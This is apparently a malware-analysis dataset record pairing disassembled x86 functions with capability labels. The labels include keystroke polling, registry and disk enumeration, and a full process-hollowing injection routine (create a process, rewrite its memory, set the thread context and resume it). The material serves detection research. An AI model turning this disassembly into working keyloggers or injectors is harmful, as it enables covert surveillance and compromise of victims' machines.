joyce8/EMBER2024-capa huggingface dataset:
Function at 0x489b50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x489b9c
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x489b9c
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x489b86
push eax
call ebp
test ax, ax
jl 0x489b94
inc esi
add edi, 4
cmp esi, 6
jb 0x489b78
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.00489850
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x48c420
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x48c480
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x48c480
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x48c480
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x48c480
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x48c490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x497a20
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0
call fcn.0049dea0
mov ebp, dword [esp + 0x220]
mov eax, dword [esp + 0x21c]
push ebp
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, eax
cmp edi, 0x20
ja 0x497b19
lea ecx, [esp + 0x10]
push ecx
push str..htm
push SysReAllocString
mov ecx, esi
call fcn.00497b30
test eax, eax
jne 0x497b19
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push SysReAllocString
mov ecx, esi
call fcn.00497b30
test eax, eax
jne 0x497b19
lea edx, [esp + 0x10]
push 0x50f110
push edx
call fcn.004ab200
mov esi, eax
add esp, 8
test esi, esi
jne 0x497aea
lea eax, [esp + 0x10]
push 0x50f10c
push eax
call fcn.004ab200
mov esi, eax
add esp, 8
test esi, esi
jne 0x497aea
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x497aed
mov byte [esi], 0
push 0x50e8d4
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8

Function at 0x497b30
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x497b92
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x49dde0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4cb3e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x118]
test eax, eax
jne 0x49de90
mov eax, dword [0x50fb2c]
push esi
mov dword [esp + 8], eax
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call fcn.004baebb
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.004baf0a
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.004bae67
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x49de77
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x49de77
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x118], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.004baad7
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4a0f90
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4cb870
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4a1137
mov ecx, dword [0x50fb2c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x4a108c
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.0049fcb0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.004babc4
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.004baad7
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x50e8d4
call fcn.004bab45
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.004a0070
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.004babc4
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.004baad7
lea ecx, [esp + 0xc]
call fcn.004baf9f
mov ecx, dword [esp + 0xc]
push 0x50f314
push ecx
call fcn.004aa1c4
add esp, 8
test eax, eax
je 0x4a10b4
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x4a0fed
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.004baad7
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.004baad7
jmp 0x4a113b
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.004a0d30
test eax, eax
push 0
je 0x4a111f
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.0049f3d0
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x4a1105
cmp eax, 0x64
jg 0x4a10f3
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4a1090
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4a1090
cmp eax, 0x64
jge 0x4a108c
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4a1090
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.0049f3d0
mov esi, eax
jmp 0x4a1090
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x4a1145
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x4bcee2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4bcf1a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004baf32
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004baf0a
jmp 0x4bcf26
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4be5d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4be612
call fcn.004c4546
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4be612
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4be609
xor eax, eax
jmp 0x4be61a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004be620
pop edi
pop esi
pop ebx
ret 4

Function at 0x4c4a76
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4c4aa4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4c4ac2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004c49dc
jmp 0x4c4ac2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4c4ac2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004c49dc
test edi, edi
mov eax, edi
jne 0x4c4aac
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x403692
Capabilities:
Create directory

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrW]
push 0x5c
push ebx
jmp 0x4036c6
and word [esi], 0
push ebx
call fcn.0040366a
test eax, eax
pop ecx
jne 0x4036bb
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov word [esi], 0x5c
push 0x5c
add esi, 2
push esi
call edi
mov esi, eax
test esi, esi
jne 0x4036a4
pop edi
pop esi
inc eax
pop ebx
ret

Function at 0x4036d3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret

Function at 0x4036ee
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
cmp dword [ebp + 0x10], 0
jne 0x40372a
cmp dword [ebp + 0xc], 0
mov cl, 0x14
je 0x40371f
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
jmp 0x403725
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00419600
leave
ret

Function at 0x403955
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov esi, 0x401a10
lea edi, [ebp - 0x218]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1fa
xor edi, edi
lea eax, [ebp - 0x20a]
push edi
push eax
or ebx, 0xffffffff
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
movzx eax, word [eax]
push eax
call fcn.004033f9
add esp, 0x10
push 0x5f
movzx esi, ax
push edi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
cmp eax, edi
je 0x403a03
push edi
push 0x80
push 3
push edi
push 3
mov word [eax], si
push SysReAllocString
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
je 0x403a03
cmp esi, 0xffffffff
je 0x403a03
push edi
lea eax, [ebp - 4]
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push 0x2d1080
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4039fc
mov ebx, dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x403b2b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
movzx edi, word [ebp + 8]
push edi
lea eax, [ebp - 0xc]
push 0x401a30
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
dec eax
dec eax
je 0x403b6c
sub eax, 3
je 0x403b65
or eax, 0xffffffff
jmp 0x403b94
mov ebx, SysReAllocString
jmp 0x403b71
mov ebx, 0xc0000000
push edi
lea eax, [ebp - 0x1c]
push 0x401a20
push eax
call esi
add esp, 0xc
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403c91
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
push ebx
push esi
push 0x12
xor esi, esi
push esi
push esi
mov ebx, 0x40329c
push ebx
call dword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x403cbd
xor eax, eax
jmp 0x403dc6
push edi
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x2c], 0x1c
push esi
jmp 0x403d92
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], esi
call dword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceInterfaceDetailW]
cmp dword [ebp - 8], esi
je 0x403d88
cmp dword [ebp - 8], 0x400
ja 0x403d88
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x454], 6
mov dword [ebp - 0x54], 0x1c
call dword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceInterfaceDetailW]
test eax, eax
je 0x403d88
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x403d88
push esi
lea eax, [ebp - 0x10]
push eax
push 0xc
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push 0x2d1080
push edi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x403d81
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x34]
je 0x403db2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc]
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInterfaces]
test eax, eax
jne 0x403cd2
push dword [ebp - 4]
call dword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
xor eax, eax
jmp 0x403dc5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
mov eax, dword [ebp - 0x40]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403dca
Capabilities:
Get disk information
Get disk information via ioctl

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x60c
push ebx
push esi
push edi
push dword [ebp + 0x7c]
call fcn.004033f9
mov ebx, 0x9e
xor esi, esi
push ebx
movzx edi, ax
lea eax, [ebp - 0x186]
push esi
push eax
mov word [ebp - 0x188], si
call sub.MSVCRT.dll_memset
movzx eax, di
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push eax
mov dword [ebp + 0x68], eax
lea eax, [ebp - 0x188]
push 0x401a30
push eax
call edi
push ebx
lea eax, [ebp - 0xe6]
push esi
push eax
mov word [ebp - 0xe8], si
call sub.MSVCRT.dll_memset
push dword [ebp + 0x68]
lea eax, [ebp - 0xe8]
push 0x401a3c
push eax
call edi
push ebx
lea eax, [ebp - 0x46]
push esi
push eax
mov word [ebp - 0x48], si
call sub.MSVCRT.dll_memset
add esp, 0x40
push dword [ebp + 0x68]
lea eax, [ebp - 0x48]
push 0x401a20
push eax
call edi
add esp, 0xc
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x48]
push eax
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403e87
xor eax, eax
inc eax
jmp 0x403f4b
push esi
lea eax, [ebp + 0x64]
push eax
push 0xc
lea eax, [ebp + 0x58]
push eax
push esi
push esi
push 0x2d1080
push edi
mov dword [ebp + 0x64], esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x403eaa
mov ebx, dword [ebp + 0x5c]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x403e7f
push 0x104
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x403e7f
lea eax, [ebp - 0x598]
push eax
push ebx
call fcn.00403c91
cmp eax, esi
pop ecx
pop ecx
je 0x403e7f
push esi
push eax
lea eax, [ebp + 0x70]
push eax
mov dword [ebp + 0x6c], esi
mov word [ebp - 0x390], si
mov dword [ebp + 0x70], esi
call dword [sym.imp.SETUPAPI.dll_CM_Get_Parent]
xor edi, edi
inc edi
push esi
push 0x104
lea eax, [ebp - 0x390]
push eax
lea eax, [ebp + 0x6c]
push eax
push dword [ebp + 0x70]
mov word [ebp - 0x390], si
call dword [sym.imp.SETUPAPI.dll_CM_Request_Device_EjectW]
test eax, eax
jne 0x403f2c
cmp dword [ebp + 0x6c], esi
je 0x403f41
push 0x1f4
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jbe 0x403f02
jmp 0x403f44
xor ebx, ebx
inc ebx
xor eax, eax
cmp ebx, esi
sete al
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret

Function at 0x403f53
Capabilities:
Get disk information

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ecx, dword [esp + 4]
xor edx, edx
add ecx, 0xffffffbf
inc edx
shl edx, cl
and eax, edx
ret
Function at 0x40421a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push dword [ebp + 8]
call fcn.00404136
cmp ax, word [ebp + 0xc]
pop ecx
jb 0x4042c4
push edi
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
and word [ebp - 8], 0
xor eax, eax
lea edi, [ebp - 6]
stosd dword es:[edi], eax
xor esi, esi
cmp word [ebp - 0x210], si
stosw word es:[edi], ax
pop edi
je 0x4042c4
lea eax, [ebp - 0x210]
movzx eax, word [eax]
cmp ax, 0x41
je 0x4042b1
cmp ax, 0x42
je 0x4042b1
movzx eax, ax
push eax
lea eax, [ebp - 8]
push 0x401a44
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 8]
push eax
call fcn.004041a5
movzx ecx, word [ebp + 0xc]
add esp, 0x10
cmp eax, ecx
jne 0x4042b1
lea eax, [ebp - 8]
push eax
call fcn.00403955
pop ecx
movzx ecx, word [ebp + 8]
cmp eax, ecx
je 0x4042ca
add esi, 4
movzx eax, si
lea eax, [ebp + eax*2 - 0x210]
cmp word [eax], 0
jne 0x404269
xor ax, ax
pop esi
leave
ret
movzx eax, si
mov ax, word [ebp + eax*2 - 0x210]
jmp 0x4042c7

Function at 0x4042d7
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040421a
test ax, ax
pop ecx
pop ecx
jne 0x40437d
push esi
push dword [ebp + 0x10]
call fcn.004033f9
and word [ebp - 8], 0
and word [ebp - 4], 0
movzx esi, ax
cmp si, 0x5a
pop ecx
mov word [ebp - 6], 0x3a
ja 0x40431f
cmp si, 0x42
jae 0x404321
xor esi, esi
test si, si
je 0x404337
push esi
call fcn.00403f53
test eax, eax
pop ecx
jne 0x404337
mov word [ebp - 8], si
jmp 0x404340
call fcn.00403f68
mov word [ebp - 8], ax
movzx eax, word [ebp + 0xc]
push eax
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x210]
push 0x401a4c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
pop esi
je 0x40437d
mov ax, word [ebp - 8]
leave
ret
xor ax, ax
leave
ret
Function at 0x4049ad
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x860
push ebx
push esi
push edi
push pe_nt_image_headers32
xor ebx, ebx
lea eax, [ebp - 0x5c]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov ax, word [ebp + 0x18]
push 0x7fe
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x85e]
push ebx
push eax
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x860], bx
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 0x1c]
add esp, 0x18
cmp esi, ebx
push 0x400
lea eax, [ebp - 0x860]
push eax
je 0x404a2f
mov edi, 0x401ad8
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push edi
call fcn.00403642
test eax, eax
pop ecx
jne 0x404a36
push 0x400
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
neg esi
sbb esi, esi
lea eax, [ebp - 0x860]
and esi, 0x10
push eax
add esi, 4
call edi
test eax, eax
je 0x404b01
push dword [ebp + 0x14]
call edi
test eax, eax
je 0x404a80
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x401ad4
lea eax, [ebp - 0x860]
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x860]
push eax
call edi
mov edi, dword [ebp + 8]
push edi
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404b01
mov esi, dword [ebp + 0xc]
push esi
mov dword [esi], 0x10007
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [esi + 0xa4]
push 4
push ebx
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebx]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x404ae5
cmp dword [ebp - 0xc], 0x10000
je 0x404af4
add esi, dword [ebp - 0x10]
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [edi]
call ebx
test eax, eax
jne 0x404ad9
mov eax, dword [ebp + 0x10]
sub esi, dword [eax]
mov dword [eax + 4], esi
xor eax, eax
inc eax
jmp 0x404b03
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404b92
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
push dword [ebp + 0x24]
and dword [ebp - 0x18], 0
push dword [ebp + 0x1c]
lea eax, [ebp - 0x20]
push dword [ebp + 0x18]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004049ad
add esp, 0x18
test eax, eax
je 0x404d44
mov eax, dword [ebp - 0x20]
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x1c], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
mov edi, 0x3000
jne 0x404c02
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp + 0x14], ecx
ja 0x404c02
lea edx, [ebp - 0x24]
push edx
push pe_nt_image_headers32
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x404c36
push 0x401afc
push 0x401ae8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
test eax, eax
jne 0x404c36
push pe_nt_image_headers32
push edi
push dword [ebp + 0x14]
push dword [ebx + 0x1c]
push dword [ebp - 0x14]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404c7c
push ebx
call fcn.00404b08
add esp, 4
test eax, eax
je 0x404d26
push pe_nt_image_headers32
push edi
push dword [ebp + 0x14]
push 0
push dword [ebp - 0x14]
call esi
test eax, eax
mov dword [ebp - 4], eax
je 0x404d26
push eax
push dword [ebp + 0x10]
push ebx
call fcn.00404b25
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x404d26
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x24c]
add eax, 8
push eax
push dword [ebp - 0x14]
call esi
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 4]
xor edi, edi
push edi
push dword [ebp + 0x14]
mov dword [eax + edx + 0x34], ecx
push edx
push dword [ebp - 4]
push dword [ebp - 0x14]
call esi
test eax, eax
je 0x404d23
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x20]
mov dword [ebp - 0x2f0], 0x10007
jne 0x404cde
mov eax, dword [ebx + 0x10]
add eax, dword [ebx + 0x1c]
mov dword [ebp - 0x240], eax
jmp 0x404ce9
mov ecx, dword [ebx + 0x10]
add ecx, eax
mov dword [ebp - 0x240], ecx
lea eax, [ebp - 0x2f0]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x404d31
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jbe 0x404d31
cmp dword [ebp + 0x20], edi
je 0x404d1a
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], 1
jmp 0x404d31
push edi
jmp 0x404d28
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0x18]
leave
ret